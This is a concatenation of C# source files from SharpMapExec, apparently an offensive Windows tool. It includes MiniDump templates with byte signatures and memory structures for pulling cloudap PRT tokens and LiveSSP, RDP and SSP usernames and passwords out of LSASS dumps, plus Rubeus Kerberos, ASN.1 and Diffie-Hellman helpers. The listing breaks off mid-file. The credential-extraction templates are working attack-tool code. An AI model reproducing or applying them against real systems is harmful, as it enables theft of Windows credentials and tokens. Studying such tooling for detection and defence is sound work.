/SharpMapExec/Projects/MiniDump/Streams/MinidumpMemory.cs: -------------------------------------------------------------------------------- 1 | namespace Minidump.Streams 2 | { 3 | public class MinidumpMemory 4 | { 5 | public struct MinidumpMemorySegment 6 | { 7 | public long start_virtual_address; 8 | public long size; 9 | public long end_virtual_address; 10 | public long start_file_address; 11 | } 12 | 13 | public static MinidumpMemorySegment parse_full(MINIDUMP_MEMORY64.MINIDUMP_MEMORY_DESCRIPTOR64 memory_decriptor, long rva) 14 | { 15 | MinidumpMemorySegment mms = new MinidumpMemorySegment(); 16 | mms.start_virtual_address = memory_decriptor.StartOfMemoryRange; 17 | mms.size = memory_decriptor.DataSize; 18 | mms.start_file_address = rva; 19 | mms.end_virtual_address = mms.start_virtual_address + mms.size; 20 | 21 | return mms; 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Templates/cloudap_templates.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Streams; 2 | using System; 3 | using System.Runtime.InteropServices; 4 | using static Minidump.Helpers; 5 | 6 | namespace Minidump.Templates 7 | { 8 | public class cloudap 9 | { 10 | public struct CloudapTemplate 11 | { 12 | public byte[] signature; 13 | public int first_entry_offset; 14 | public int luidOffset; 15 | public int cacheOffset; 16 | public int cbPRTOffset; 17 | public int PRTOffset; 18 | public int tonameOffset; 19 | public Type list_entry; 20 | } 21 | 22 | public static CloudapTemplate get_template(SystemInfo.MINIDUMP_SYSTEM_INFO sysinfo) 23 | { 24 | CloudapTemplate template = new CloudapTemplate(); 25 | if (sysinfo.BuildNumber <= (int)SystemInfo.WindowsBuild.WIN_10_1903) 26 | { 27 | return template; 28 | } 29 | if (sysinfo.ProcessorArchitecture == SystemInfo.PROCESSOR_ARCHITECTURE.AMD64) 30 | { 31 | template.signature = new byte[] { 0x44, 0x8b, 0x01, 0x44, 0x39, 0x42, 0x18, 0x75 }; 32 | template.first_entry_offset = -9; 33 | template.list_entry = typeof(KIWI_CLOUDAP_LOGON_LIST_ENTRY); 34 | } 35 | else if (sysinfo.ProcessorArchitecture == SystemInfo.PROCESSOR_ARCHITECTURE.INTEL) 36 | { 37 | template.signature = new byte[] { 0x8b, 0x31, 0x39, 0x72, 0x10, 0x75 }; 38 | template.first_entry_offset = -8; 39 | template.list_entry = typeof(KIWI_CLOUDAP_LOGON_LIST_ENTRY); 40 | } 41 | else 42 | { 43 | throw new Exception(String.Format("Could not identify template! Architecture: %s sysinfo.BuildNumber: %s", sysinfo.ProcessorArchitecture, sysinfo.BuildNumber)); 44 | } 45 | 46 | template.luidOffset = StructFieldOffset(template.list_entry, "LocallyUniqueIdentifier"); 47 | template.cacheOffset = StructFieldOffset(template.list_entry, "cacheEntry"); 48 | 49 | template.cbPRTOffset = StructFieldOffset(typeof(KIWI_CLOUDAP_CACHE_LIST_ENTRY), "cbPRT"); 50 | template.PRTOffset = StructFieldOffset(typeof(KIWI_CLOUDAP_CACHE_LIST_ENTRY), "PRT"); 51 | template.tonameOffset = StructFieldOffset(typeof(KIWI_CLOUDAP_CACHE_LIST_ENTRY), "toname"); 52 | 53 | return template; 54 | } 55 | } 56 | 57 | public struct KIWI_CLOUDAP_CACHE_UNK 58 | { 59 | public uint unk0; 60 | public uint unk1; 61 | public uint unk2; 62 | public uint unkSizeer; 63 | 64 | public Guid guid; 65 | 66 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)] 67 | public byte[] unk; 68 | } 69 | 70 | public struct KIWI_CLOUDAP_CACHE_LIST_ENTRY 71 | { 72 | public long Flink; 73 | public long Blink; 74 | public uint unk0; 75 | public IntPtr LockList; 76 | public IntPtr unk1; 77 | public IntPtr unk2; 78 | public IntPtr unk3; 79 | public IntPtr unk4; 80 | public IntPtr unk5; 81 | public uint unk6; 82 | public uint unk7; 83 | public uint unk8; 84 | public uint unk9; 85 | public IntPtr unkLogin0; 86 | public IntPtr unkLogin1; 87 | 88 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 130)] 89 | public byte[] toname; 90 | 91 | public long Sid; 92 | 93 | public uint unk10; 94 | public uint unk11; 95 | public uint unk12; 96 | public uint unk13; 97 | 98 | //public KIWI_CLOUDAP_CACHE_UNK toDetermine; 99 | public ulong toDetermine; 100 | 101 | public IntPtr unk14; 102 | public uint cbPRT; 103 | public ulong PRT; 104 | } 105 | 106 | public struct KIWI_CLOUDAP_LOGON_LIST_ENTRY 107 | { 108 | public long Flink; 109 | public long Blink; 110 | public int unk0; 111 | public int unk1; 112 | public LUID LocallyUniqueIdentifier; 113 | public Int64 unk2; 114 | public Int64 unk3; 115 | public long cacheEntry; 116 | } 117 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Templates/livessp_templates.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Streams; 2 | using System; 3 | using static Minidump.Helpers; 4 | 5 | namespace Minidump.Templates 6 | { 7 | public static class livessp 8 | { 9 | public struct LiveSspTemplate 10 | { 11 | public byte[] signature; 12 | public long first_entry_offset; 13 | } 14 | 15 | public static LiveSspTemplate get_template(SystemInfo.MINIDUMP_SYSTEM_INFO sysinfo) 16 | { 17 | var template = new LiveSspTemplate(); 18 | if (sysinfo.ProcessorArchitecture == SystemInfo.PROCESSOR_ARCHITECTURE.AMD64) 19 | { 20 | template.signature = new byte[] { 0x74, 0x25, 0x8b }; 21 | template.first_entry_offset = -7; 22 | } 23 | else if (sysinfo.ProcessorArchitecture == SystemInfo.PROCESSOR_ARCHITECTURE.INTEL) 24 | { 25 | template.signature = new byte[] { 0x8b, 0x16, 0x39, 0x51, 0x24, 0x75, 0x08 }; 26 | template.first_entry_offset = -8; 27 | } 28 | else 29 | { 30 | throw new Exception($"Unknown architecture! {sysinfo.ProcessorArchitecture}"); 31 | } 32 | 33 | return template; 34 | } 35 | } 36 | 37 | public struct KIWI_LIVESSP_PRIMARY_CREDENTIAL 38 | { 39 | public ulong isSupp; 40 | public ulong unk0; 41 | public KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; 42 | } 43 | 44 | public struct KIWI_LIVESSP_LIST_ENTRY 45 | { 46 | public long Flink; 47 | public long Blink; 48 | public IntPtr unk0; 49 | public IntPtr unk1; 50 | public IntPtr unk2; 51 | public IntPtr unk3; 52 | public int unk4; 53 | public int unk5; 54 | public IntPtr unk6; 55 | public LUID LocallyUniqueIdentifier; 56 | public UNICODE_STRING UserName; 57 | public IntPtr unk7; 58 | public KIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds; 59 | } 60 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Templates/lsa_templates.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Streams; 2 | using System; 3 | 4 | namespace Minidump.Templates 5 | { 6 | public class lsaTemplate 7 | { 8 | public static object get_template(SystemInfo.MINIDUMP_SYSTEM_INFO sysinfo) 9 | { 10 | if (sysinfo.ProcessorArchitecture == SystemInfo.PROCESSOR_ARCHITECTURE.INTEL) 11 | { 12 | throw new Exception($"X86 not yet supported"); 13 | } 14 | else 15 | { 16 | if (sysinfo.BuildNumber < (int)SystemInfo.WindowsMinBuild.WIN_VISTA) 17 | { 18 | //return lsaTemplate_NT5.get_template(sysinfo); 19 | throw new Exception($"NT5 not yet supported"); 20 | } 21 | else 22 | { 23 | return lsaTemplate_NT6.get_template(sysinfo); 24 | } 25 | } 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Templates/rdp_templates.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Streams; 2 | using System.Collections.Generic; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace Minidump.Templates 6 | { 7 | public class rdp 8 | { 9 | public struct RdpTemplate 10 | { 11 | public List signature; 12 | public int first_entry_offset; 13 | public object cred_struct; 14 | } 15 | 16 | public static RdpTemplate get_template(SystemInfo.MINIDUMP_SYSTEM_INFO sysinfo) 17 | { 18 | RdpTemplate template = new RdpTemplate(); 19 | 20 | if (sysinfo.BuildNumber >= (int)SystemInfo.WindowsMinBuild.WIN_8) 21 | { 22 | List signatures = new List 23 | { 24 | new byte[] {0x00, 0x00, 0x00, 0x00, 0xbb, 0x47}, 25 | new byte[] {0x00, 0x00, 0x00, 0x00, 0xf3, 0x47}, 26 | new byte[] {0x00, 0x00, 0x00, 0x00, 0x3b, 0x01}, 27 | }; 28 | template.signature = signatures; 29 | template.first_entry_offset = 0; 30 | template.cred_struct = new WTS_KIWI(); 31 | } 32 | else 33 | { 34 | List signatures = new List() 35 | { 36 | new byte[] { 0xc8, 0x00, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00 } 37 | }; 38 | template.signature = signatures; 39 | template.first_entry_offset = 16; 40 | template.cred_struct = new WTS_KIWI_2008R2(); 41 | } 42 | return template; 43 | } 44 | 45 | [StructLayout(LayoutKind.Sequential)] 46 | public struct WTS_KIWI 47 | { 48 | public uint unk0; 49 | public uint unk1; 50 | 51 | public ushort cbDomain; 52 | public ushort cbUsername; 53 | public ushort cbPassword; 54 | 55 | public uint unk2; 56 | 57 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 58 | public byte[] Domain; 59 | 60 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 61 | public byte[] UserName; 62 | 63 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 64 | public byte[] Password; 65 | } 66 | 67 | [StructLayout(LayoutKind.Sequential)] 68 | public struct WTS_KIWI_2008R2 69 | { 70 | public uint unk0; 71 | public uint unk1; 72 | 73 | public ushort cbDomain; 74 | public ushort cbUsername; 75 | public ushort cbPassword; 76 | 77 | public uint unk2; 78 | 79 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 80 | public byte[] Domain; 81 | 82 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 83 | public byte[] UserName; 84 | 85 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 86 | public byte[] Password; 87 | } 88 | } 89 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Templates/ssp_templates.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Streams; 2 | using System; 3 | using System.Runtime.InteropServices; 4 | using static Minidump.Helpers; 5 | 6 | namespace Minidump.Templates 7 | { 8 | public class ssp 9 | { 10 | public struct SspTemplate 11 | { 12 | public byte[] signature; 13 | public int first_entry_offset; 14 | public KIWI_SSP_CREDENTIAL_LIST_ENTRY list_entry; 15 | } 16 | 17 | public static SspTemplate get_template(SystemInfo.MINIDUMP_SYSTEM_INFO sysinfo) 18 | { 19 | var template = new SspTemplate(); 20 | template.list_entry = new KIWI_SSP_CREDENTIAL_LIST_ENTRY(); 21 | 22 | if (sysinfo.ProcessorArchitecture == SystemInfo.PROCESSOR_ARCHITECTURE.AMD64) 23 | { 24 | if (sysinfo.BuildNumber < (int)SystemInfo.WindowsMinBuild.WIN_VISTA) 25 | { 26 | template.signature = new byte[] { 0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15 }; 27 | template.first_entry_offset = 16; 28 | } 29 | else if ((int)SystemInfo.WindowsMinBuild.WIN_VISTA <= sysinfo.BuildNumber && sysinfo.BuildNumber < (int)SystemInfo.WindowsBuild.WIN_10_1507) 30 | { 31 | template.signature = new byte[] 32 | {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15}; 33 | template.first_entry_offset = 20; 34 | } 35 | else if (sysinfo.BuildNumber >= (int)SystemInfo.WindowsBuild.WIN_10_1507) 36 | { 37 | template.signature = new byte[] { 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15 }; 38 | template.first_entry_offset = 14; 39 | } 40 | else 41 | { 42 | //currently doesnt make sense, but keeping it here for future use 43 | throw new Exception($"Unknown buildnumber! {sysinfo.BuildNumber}"); 44 | } 45 | } 46 | else if (sysinfo.ProcessorArchitecture == SystemInfo.PROCESSOR_ARCHITECTURE.INTEL) 47 | { 48 | template.signature = new byte[] { 0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15 }; 49 | template.first_entry_offset = 12; 50 | } 51 | else 52 | { 53 | throw new Exception($"Unknown architecture! {sysinfo.ProcessorArchitecture}"); 54 | } 55 | 56 | return template; 57 | } 58 | 59 | [StructLayout(LayoutKind.Sequential)] 60 | public struct KIWI_GENERIC_PRIMARY_CREDENTIAL 61 | { 62 | public UNICODE_STRING Domain; 63 | public UNICODE_STRING UserName; 64 | public UNICODE_STRING Password; 65 | } 66 | 67 | [StructLayout(LayoutKind.Sequential)] 68 | public struct KIWI_SSP_CREDENTIAL_LIST_ENTRY 69 | { 70 | public long Flink; 71 | public long Blink; 72 | public uint References; 73 | public uint CredentialReferences; 74 | public LUID LogonId; 75 | public uint unk0; 76 | public uint unk1; 77 | public uint unk2; 78 | public KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; 79 | }; 80 | } 81 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/Asn1/Asn1Extensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Rubeus.Asn1 4 | { 5 | public static class Asn1Extensions 6 | { 7 | public static byte[] DepadLeft(this byte[] data) 8 | { 9 | int leadingZeros = 0; 10 | for (var i = 0; i < data.Length; i++) 11 | { 12 | if (data[i] == 0) 13 | { 14 | leadingZeros++; 15 | } 16 | else 17 | { 18 | break; 19 | } 20 | } 21 | 22 | byte[] result = new byte[data.Length - leadingZeros]; 23 | Array.Copy(data, leadingZeros, result, 0, data.Length - leadingZeros); 24 | return result; 25 | } 26 | 27 | public static byte[] PadLeft(this byte[] data, int totalSize) 28 | { 29 | if (data.Length == totalSize) 30 | { 31 | return data; 32 | } 33 | 34 | if (totalSize < data.Length) 35 | { 36 | throw new ArgumentException("data bigger than totalSize, cannot pad with 0's"); 37 | } 38 | 39 | byte[] result = new byte[totalSize]; 40 | data.CopyTo(result, totalSize - data.Length); 41 | return result; 42 | } 43 | 44 | public static byte[] PadRight(this byte[] data, int length) 45 | { 46 | if (data.Length == length) 47 | { 48 | return data; 49 | } 50 | 51 | var copy = new byte[length]; 52 | data.CopyTo(copy, length - data.Length); 53 | return copy; 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/Asn1/AsnException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace Asn1 5 | { 6 | public class AsnException : IOException 7 | { 8 | public AsnException(string message) 9 | : base(message) 10 | { 11 | } 12 | 13 | public AsnException(string message, Exception nested) 14 | : base(message, nested) 15 | { 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/Interop/Luid.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Rubeus.lib.Interop 5 | { 6 | [StructLayout(LayoutKind.Sequential)] 7 | public struct LUID 8 | { 9 | public UInt32 LowPart; 10 | public Int32 HighPart; 11 | 12 | public LUID(UInt64 value) 13 | { 14 | LowPart = (UInt32)(value & 0xffffffffL); 15 | HighPart = (Int32)(value >> 32); 16 | } 17 | 18 | public LUID(LUID value) 19 | { 20 | LowPart = value.LowPart; 21 | HighPart = value.HighPart; 22 | } 23 | 24 | public LUID(string value) 25 | { 26 | if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$")) 27 | { 28 | // if the passed LUID string is of form 0xABC123 29 | UInt64 uintVal = Convert.ToUInt64(value, 16); 30 | LowPart = (UInt32)(uintVal & 0xffffffffL); 31 | HighPart = (Int32)(uintVal >> 32); 32 | } 33 | else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$")) 34 | { 35 | // if the passed LUID string is a decimal form 36 | UInt64 uintVal = UInt64.Parse(value); 37 | LowPart = (UInt32)(uintVal & 0xffffffffL); 38 | HighPart = (Int32)(uintVal >> 32); 39 | } 40 | else 41 | { 42 | System.ArgumentException argEx = new System.ArgumentException("Passed LUID string value is not in a hex or decimal form", value); 43 | throw argEx; 44 | } 45 | } 46 | 47 | public override int GetHashCode() 48 | { 49 | UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; 50 | return Value.GetHashCode(); 51 | } 52 | 53 | public override bool Equals(object obj) 54 | { 55 | return obj is LUID && (((ulong)this) == (LUID)obj); 56 | } 57 | 58 | public override string ToString() 59 | { 60 | UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; 61 | return String.Format("0x{0:x}", (ulong)Value); 62 | } 63 | 64 | public static bool operator ==(LUID x, LUID y) 65 | { 66 | return (((ulong)x) == ((ulong)y)); 67 | } 68 | 69 | public static bool operator !=(LUID x, LUID y) 70 | { 71 | return (((ulong)x) != ((ulong)y)); 72 | } 73 | 74 | public static implicit operator ulong(LUID luid) 75 | { 76 | // enable casting to a ulong 77 | UInt64 Value = ((UInt64)luid.HighPart << 32); 78 | return Value + luid.LowPart; 79 | } 80 | } 81 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/Interop/NtException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace Rubeus.lib.Interop 6 | { 7 | public class NtException : Exception 8 | { 9 | [DllImport("ntdll.dll")] 10 | public static extern int RtlNtStatusToDosError(int status); 11 | 12 | internal const int ERROR_MR_MID_NOT_FOUND = 317; 13 | 14 | public NtException(int errorCode) : base(GetErrorMessage(errorCode)) 15 | { 16 | } 17 | 18 | private static string GetErrorMessage(int errorCode) 19 | { 20 | if (Rubeus.Interop.LsaNtStatusToWinError((uint)errorCode) == ERROR_MR_MID_NOT_FOUND) 21 | { 22 | return $"NTSTAUTS error code 0x{errorCode.ToString("X")}"; 23 | } 24 | else 25 | { 26 | return $"NTSTATUS error code 0x{errorCode.ToString("X")}: " + (new Win32Exception(errorCode)).Message; 27 | } 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/KDCKeyAgreement.cs: -------------------------------------------------------------------------------- 1 | using Kerberos.NET.Crypto; 2 | using System.Security.Cryptography; 3 | 4 | namespace Rubeus 5 | { 6 | public class KDCKeyAgreement 7 | { 8 | public byte[] P { get { return Oakley.Group14.Prime; } } 9 | public byte[] G { get { return Oakley.Group14.Generator; } } 10 | public byte[] Q { get { return Oakley.Group14.Factor; } } 11 | public byte[] Y { get { return diffieHellman.PublicKey.PublicComponent; } } 12 | 13 | private ManagedDiffieHellmanOakley14 diffieHellman = new ManagedDiffieHellmanOakley14(); 14 | 15 | public KDCKeyAgreement() 16 | { 17 | } 18 | 19 | private static byte[] CalculateIntegrity(byte count, byte[] data) 20 | { 21 | byte[] input = new byte[data.Length + 1]; 22 | input[0] = count; 23 | data.CopyTo(input, 1); 24 | 25 | using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) 26 | { 27 | return sha1.ComputeHash(input); 28 | } 29 | } 30 | 31 | private static byte[] kTruncate(int k, byte[] x) 32 | { 33 | int numberOfBytes = k; 34 | byte[] result = new byte[numberOfBytes]; 35 | 36 | int count = 0; 37 | byte[] filler = CalculateIntegrity((byte)count, x); 38 | 39 | int position = 0; 40 | 41 | for (int i = 0; i < numberOfBytes; i++) 42 | { 43 | if (position < filler.Length) 44 | { 45 | result[i] = filler[position]; 46 | position++; 47 | } 48 | else 49 | { 50 | count++; 51 | filler = CalculateIntegrity((byte)count, x); 52 | position = 0; 53 | result[i] = filler[position]; 54 | position++; 55 | } 56 | } 57 | 58 | return result; 59 | } 60 | 61 | public byte[] GenerateKey(byte[] otherPublicKey, byte[] clientNonce, byte[] serverNonce, int size) 62 | { 63 | DiffieHellmanKey diffieHellmanKey = new DiffieHellmanKey(); 64 | diffieHellmanKey.PublicComponent = otherPublicKey; 65 | diffieHellmanKey.KeyLength = otherPublicKey.Length; 66 | diffieHellmanKey.Type = AsymmetricKeyType.Public; 67 | 68 | diffieHellman.ImportPartnerKey(diffieHellmanKey); 69 | byte[] sharedSecret = diffieHellman.GenerateAgreement(); 70 | 71 | byte[] x = new byte[sharedSecret.Length + clientNonce.Length + serverNonce.Length]; 72 | 73 | sharedSecret.CopyTo(x, 0); 74 | clientNonce.CopyTo(x, sharedSecret.Length); 75 | serverNonce.CopyTo(x, sharedSecret.Length + clientNonce.Length); 76 | 77 | return kTruncate(size, x); 78 | } 79 | } 80 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/crypto/dh/DiffieHellmanKey.cs: -------------------------------------------------------------------------------- 1 | // ----------------------------------------------------------------------- 2 | // Licensed to The .NET Foundation under one or more agreements. 3 | // The .NET Foundation licenses this file to you under the MIT license. 4 | // ----------------------------------------------------------------------- 5 | 6 | using Asn1; 7 | using Rubeus.Asn1; 8 | using System; 9 | 10 | namespace Kerberos.NET.Crypto 11 | { 12 | public enum AsymmetricKeyType 13 | { 14 | Public, 15 | Private 16 | } 17 | 18 | public class DiffieHellmanKey : IExchangeKey 19 | { 20 | public AsymmetricKeyType Type { get; set; } 21 | 22 | public KeyAgreementAlgorithm Algorithm { get; set; } 23 | 24 | public DateTimeOffset? CacheExpiry { get; set; } 25 | 26 | public int KeyLength { get; set; } 27 | 28 | public byte[] Modulus { get; set; } 29 | 30 | public byte[] Generator { get; set; } 31 | 32 | public byte[] Factor { get; set; } 33 | 34 | public byte[] PublicComponent { get; set; } 35 | 36 | public byte[] PrivateComponent { get; set; } 37 | 38 | public byte[] EncodePublicKey() 39 | { 40 | return AsnElt.MakeInteger(this.PublicComponent).Encode(); 41 | } 42 | 43 | public static DiffieHellmanKey ParsePublicKey(byte[] data, int keyLength) 44 | { 45 | AsnElt publicKeyAsn = AsnElt.Decode(data); 46 | 47 | if (publicKeyAsn.TagValue != AsnElt.INTEGER) 48 | { 49 | throw new ArgumentException("data doesn't appear to be an ASN.1 encoded INTERGER"); 50 | } 51 | 52 | return new DiffieHellmanKey { PublicComponent = publicKeyAsn.GetOctetString().DepadLeft().PadRight(keyLength) }; 53 | } 54 | } 55 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/crypto/dh/IExchangeKey.cs: -------------------------------------------------------------------------------- 1 | // ----------------------------------------------------------------------- 2 | // Licensed to The .NET Foundation under one or more agreements. 3 | // The .NET Foundation licenses this file to you under the MIT license. 4 | // ----------------------------------------------------------------------- 5 | 6 | using System; 7 | 8 | namespace Kerberos.NET.Crypto 9 | { 10 | public interface IExchangeKey 11 | { 12 | int KeyLength { get; set; } 13 | 14 | DateTimeOffset? CacheExpiry { get; set; } 15 | 16 | byte[] PrivateComponent { get; set; } 17 | 18 | byte[] PublicComponent { get; set; } 19 | 20 | KeyAgreementAlgorithm Algorithm { get; set; } 21 | 22 | AsymmetricKeyType Type { get; set; } 23 | 24 | byte[] EncodePublicKey(); 25 | } 26 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/crypto/dh/IKeyAgreement.cs: -------------------------------------------------------------------------------- 1 | // ----------------------------------------------------------------------- 2 | // Licensed to The .NET Foundation under one or more agreements. 3 | // The .NET Foundation licenses this file to you under the MIT license. 4 | // ----------------------------------------------------------------------- 5 | 6 | using System; 7 | 8 | namespace Kerberos.NET.Crypto 9 | { 10 | public interface IKeyAgreement : IDisposable 11 | { 12 | IExchangeKey PublicKey { get; } 13 | 14 | IExchangeKey PrivateKey { get; } 15 | 16 | byte[] GenerateAgreement(); 17 | 18 | void ImportPartnerKey(IExchangeKey publicKey); 19 | } 20 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/crypto/dh/KeyAgreementAlgorithm.cs: -------------------------------------------------------------------------------- 1 | // ----------------------------------------------------------------------- 2 | // Licensed to The .NET Foundation under one or more agreements. 3 | // The .NET Foundation licenses this file to you under the MIT license. 4 | // ----------------------------------------------------------------------- 5 | 6 | namespace Kerberos.NET.Crypto 7 | { 8 | public enum KeyAgreementAlgorithm 9 | { 10 | None = 0, 11 | DiffieHellmanModp2, 12 | DiffieHellmanModp14, 13 | EllipticCurveDiffieHellmanP256, 14 | EllipticCurveDiffieHellmanP384, 15 | EllipticCurveDiffieHellmanP521, 16 | } 17 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley14.cs: -------------------------------------------------------------------------------- 1 | // ----------------------------------------------------------------------- 2 | // Licensed to The .NET Foundation under one or more agreements. 3 | // The .NET Foundation licenses this file to you under the MIT license. 4 | // ----------------------------------------------------------------------- 5 | 6 | namespace Kerberos.NET.Crypto 7 | { 8 | public class ManagedDiffieHellmanOakley14 : ManagedDiffieHellman 9 | { 10 | public ManagedDiffieHellmanOakley14() 11 | : base(Oakley.Group14.Prime, Oakley.Group14.Generator, Oakley.Group14.Factor) 12 | { 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/crypto/dh/ManagedDiffieHellmanOakley2.cs: -------------------------------------------------------------------------------- 1 | // ----------------------------------------------------------------------- 2 | // Licensed to The .NET Foundation under one or more agreements. 3 | // The .NET Foundation licenses this file to you under the MIT license. 4 | // ----------------------------------------------------------------------- 5 | 6 | namespace Kerberos.NET.Crypto 7 | { 8 | public class ManagedDiffieHellmanOakley2 : ManagedDiffieHellman 9 | { 10 | public ManagedDiffieHellmanOakley2() 11 | : base(Oakley.Group2.Prime, Oakley.Group2.Generator, Oakley.Group2.Factor) 12 | { 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/AS_REP.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | public class AS_REP 8 | { 9 | //AS-REP ::= [APPLICATION 11] KDC-REP 10 | 11 | //KDC-REP ::= SEQUENCE { 12 | // pvno [0] INTEGER (5), 13 | // msg-type [1] INTEGER (11 -- AS), 14 | // padata [2] SEQUENCE OF PA-DATA OPTIONAL 15 | // -- NOTE: not empty --, 16 | // crealm [3] Realm, 17 | // cname [4] PrincipalName, 18 | // ticket [5] Ticket, 19 | // enc-part [6] EncryptedData 20 | // -- EncASRepPart 21 | //} 22 | 23 | public AS_REP(byte[] data) 24 | { 25 | // decode the supplied bytes to an AsnElt object 26 | // false == ignore trailing garbage 27 | AsnElt asn_AS_REP = AsnElt.Decode(data, false); 28 | 29 | this.Decode(asn_AS_REP); 30 | } 31 | 32 | public AS_REP(AsnElt asn_AS_REP) 33 | { 34 | this.Decode(asn_AS_REP); 35 | } 36 | 37 | private void Decode(AsnElt asn_AS_REP) 38 | { 39 | // AS-REP::= [APPLICATION 11] KDC-REQ 40 | if (asn_AS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REP) 41 | { 42 | throw new System.Exception("AS-REP tag value should be 11"); 43 | } 44 | 45 | if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16)) 46 | { 47 | throw new System.Exception("First AS-REP sub should be a sequence"); 48 | } 49 | 50 | // extract the KDC-REP out 51 | AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub; 52 | padata = new List(); 53 | 54 | foreach (AsnElt s in kdc_rep) 55 | { 56 | switch (s.TagValue) 57 | { 58 | case 0: 59 | pvno = s.Sub[0].GetInteger(); 60 | break; 61 | 62 | case 1: 63 | msg_type = s.Sub[0].GetInteger(); 64 | break; 65 | 66 | case 2: 67 | // sequence of pa-data 68 | foreach (AsnElt pad in s.Sub) 69 | { 70 | padata.Add(new PA_DATA(pad.Sub[0])); 71 | } 72 | break; 73 | 74 | case 3: 75 | crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 76 | break; 77 | 78 | case 4: 79 | cname = new PrincipalName(s.Sub[0]); 80 | break; 81 | 82 | case 5: 83 | ticket = new Ticket(s.Sub[0].Sub[0]); 84 | break; 85 | 86 | case 6: 87 | enc_part = new EncryptedData(s.Sub[0]); 88 | break; 89 | 90 | default: 91 | break; 92 | } 93 | } 94 | } 95 | 96 | // won't really every need to *create* a AS reply, so no encode 97 | 98 | public long pvno { get; set; } 99 | 100 | public long msg_type { get; set; } 101 | 102 | public List padata { get; set; } 103 | 104 | public string crealm { get; set; } 105 | 106 | public PrincipalName cname { get; set; } 107 | 108 | public Ticket ticket { get; set; } 109 | 110 | public EncryptedData enc_part { get; set; } 111 | } 112 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/Checksum.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | public class Checksum 7 | { 8 | //Checksum ::= SEQUENCE { 9 | // cksumtype [0] Int32, 10 | // checksum [1] OCTET STRING 11 | //} 12 | 13 | public Checksum(byte[] data) 14 | { 15 | // KERB_CHECKSUM_HMAC_MD5 = -138 16 | cksumtype = -138; 17 | 18 | checksum = data; 19 | } 20 | 21 | public Checksum(Interop.KERB_CHECKSUM_ALGORITHM cktype, byte[] data) 22 | { 23 | cksumtype = (int)cktype; 24 | 25 | checksum = data; 26 | } 27 | 28 | public Checksum(AsnElt body) 29 | { 30 | foreach (AsnElt s in body.Sub) 31 | { 32 | switch (s.TagValue) 33 | { 34 | case 0: 35 | cksumtype = Convert.ToInt32(s.Sub[0].GetInteger()); 36 | break; 37 | 38 | case 2: 39 | checksum = s.Sub[0].GetOctetString(); 40 | break; 41 | 42 | default: 43 | break; 44 | } 45 | } 46 | } 47 | 48 | public AsnElt Encode() 49 | { 50 | // cksumtype [0] Int32 51 | AsnElt cksumtypeAsn = 